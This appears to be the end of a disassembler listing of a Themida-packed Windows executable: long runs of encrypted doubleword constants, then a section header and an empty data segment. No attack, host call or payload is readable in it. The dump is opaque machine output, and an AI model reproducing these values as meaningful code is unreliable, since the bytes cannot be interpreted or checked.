5B000000h dd 4BB20E8Fh, 32F77749h, 0E3498F2Ch, 0C00DDB15h, 45BF2B03h dd 667C940Bh, 13E9CF8Bh, 4D000000h, 618C5F4Eh, 52D72BABh dd 86BBA400h, 9A3647D7h, 0BF5106FDh, 10E164D6h, 5870F5Eh dd 0BB000000h, 2D79F311h, 29D18166h, 0C1816685h, 0DB5BA0Ch dd 2860Fh, 0FA8B0000h, 3820Fh, 8B660000h, 12E9D3h, 0A2DD0000h dd 669CD81Fh, 0E409C1E7h, 37C44795h, 17901C23h, 0E18116B1h dd 17392A7h, 66C7B70Fh, 4794C181h, 0C8BF0F60h, 0E1DE8166h dd 0BEBF6115h, 6645B6CEh, 8B66C38Bh, 0BE65B2D1h, 74732423h dd 5E9h, 0CFB63500h, 0CE81B748h, 43AE2B09h, 8B5060F5h dd 0FE95FF9h, 6000000h, 23A0D952h, 0FAF1D597h, 7AF34E59h dd 0E8617704h, 9, 85E1BCF5h, 2CF424DCh, 81666009h, 0F2567F1h dd 5E61CEBFh, 10E9h, 0FABB8800h, 0F54D3EBh, 0D28A3FB0h dd 0C5B89A43h, 0B69ABA86h, 0BF0F3B15h, 13E9DEh, 0B1930000h dd 2F74AEC7h, 23E97164h, 47B5892Eh, 0A4ACE0A4h, 6660F8B7h dd 0F5B8DE8Bh, 61046F80h, 2DC2DFB9h, 7AC8814Ah, 6629CF72h dd 0E8FF73BFh, 12h, 0E97F3612h, 11FC6C31h, 4B6757D4h, 79AA48ECh dd 0F28B3E23h, 0BF0F5159h, 66515EFEh, 5BA492BAh, 822FBE66h dd 60ADC580h, 13E9h, 0C6447200h, 0EE01EC72h, 91FD8765h dd 8F1B8D35h, 6EB0F8CEh, 68C0Fh, 0EE810000h, 6A0B7508h dd 6850F61h, 81000000h, 5DC64ADBh, 0BE92Dh, 0D6F50000h dd 758C937Bh, 0E24CE03h, 6830FB9h, 81000000h, 0D198B5D7h dd 17B26055h, 61F88B66h, 9457BE66h, 6E9h, 6D770F00h, 0E87AE2C9h dd 0Eh, 5E9923A2h, 0D7B95EF5h, 0ED2FB300h, 0F576762h, 84h dd 0E85B5800h, 0Fh, 0B7659E30h, 5089632Bh, 7ACA0672h, 664EBD95h dd 0BE5EC18Bh, 61AD55E2h, 2880Fh, 0F18A0000h, 10E8h, 20483200h dd 0ABDF6576h, 0AAD83D59h, 5712A469h, 8B6660E5h, 525E61D1h dd 5BAAB152h, 0E2A9BE5Fh, 63B34241h, 0FCA8B66h, 8166D2B7h dd 602BD8EEh, 0CBB261F5h, 0A5F08166h, 8DBA6614h, 6E9D3h dd 51690000h, 0D2AA53E0h, 2810F60h, 60000000h, 4850F61h dd 66000000h, 61C787BAh, 0EF816660h, 0AE9E4BEh, 5C000000h dd 78CE5AAh, 0E38ED0CCh, 8D0F61F0h, 7, 0EA816657h, 0F59CD53h dd 58Dh, 0BF0F5000h, 0FC575FFEh, 8B66575Fh, 0CE8B5BDAh dd 8E9h, 0A26EB200h, 784F0492h, 5FFC56C9h, 4E4E0CBFh, 0FF98B19h dd 18Dh, 9E9F500h, 0A9000000h, 0C8B3FB7h, 0E177E323h, 1329BA66h dd 11E9h, 317FCE00h, 0F90C292Ah, 5C17EBDEh, 0E856912Ch dd 0DE8AAAE3h, 8166DA8Bh, 0E9EC17D9h, 13h, 6C2DFBB2h, 0BCA463D8h dd 0E2A09286h, 0B7D1BEBh, 0E817FD05h, 0Eh, 6AE03203h, 5D8436E9h dd 0C03512C2h, 880FF01Bh, 6, 870Fh, 66580000h, 8F69E081h dd 66C9BF0Fh, 8AD434BBh, 0FCB7B7F7h, 0A3C880F9h, 0B70FEEB6h dd 0E68166C6h, 81609472h, 93DD56CEh, 0D1E78131h, 615B6D84h dd 5E9h, 0B1F8B00h, 16BB635Fh, 66548EE0h, 33F1E681h, 9E8F8h dd 0FE910000h, 68E386BFh, 8020CC77h, 0E95BAFE1h, 0Ah, 5529ADDh dd 67A8921Eh, 816672F2h, 0F4CA7C6h, 0EC80F7BFh, 2FD781B5h dd 0F26750Dh, 1F81h, 0CE800h, 0EA3B0000h, 0D32C36C1h, 46D35D07h dd 8E91190h, 18000000h, 3CA96B66h, 5BECBCEAh, 60DA8B66h dd 0D1CCCA81h, 0EE92DF2h, 0D7000000h, 302C6DC0h, 0DDB38E20h dd 325E0C38h, 0E380614Dh, 5880F33h, 0BF000000h, 42EDEEA6h dd 0E02FE981h, 97777FCFh, 0C1h dup(9777DA7Bh), 8277DA7Bh dd 3F8h dup(824B27D8h), 574B27D8h, 45h dup(58FFFFE5h) dd 2A600AE5h, 18Eh dup(2A600AF9h), 0D9983Dh, 352h dup(0D9983Ch) dd 0BE28983Ch, 75h dup(0BE2841A4h), 0A3E141A4h, 18Ch dup(0A3E1FF2Ah) dd 14E1FF2Ah, 0B9h dup(14F40F26h), 0CCF40F26h, 75Fh dup(0CCCCCCCCh) dd 0CCCCh, 21Dh dup(0) Themida_ ends ; Section 5. (virtual address 001CB000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001CB000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5CB000h align 2000h _idata2 ends end start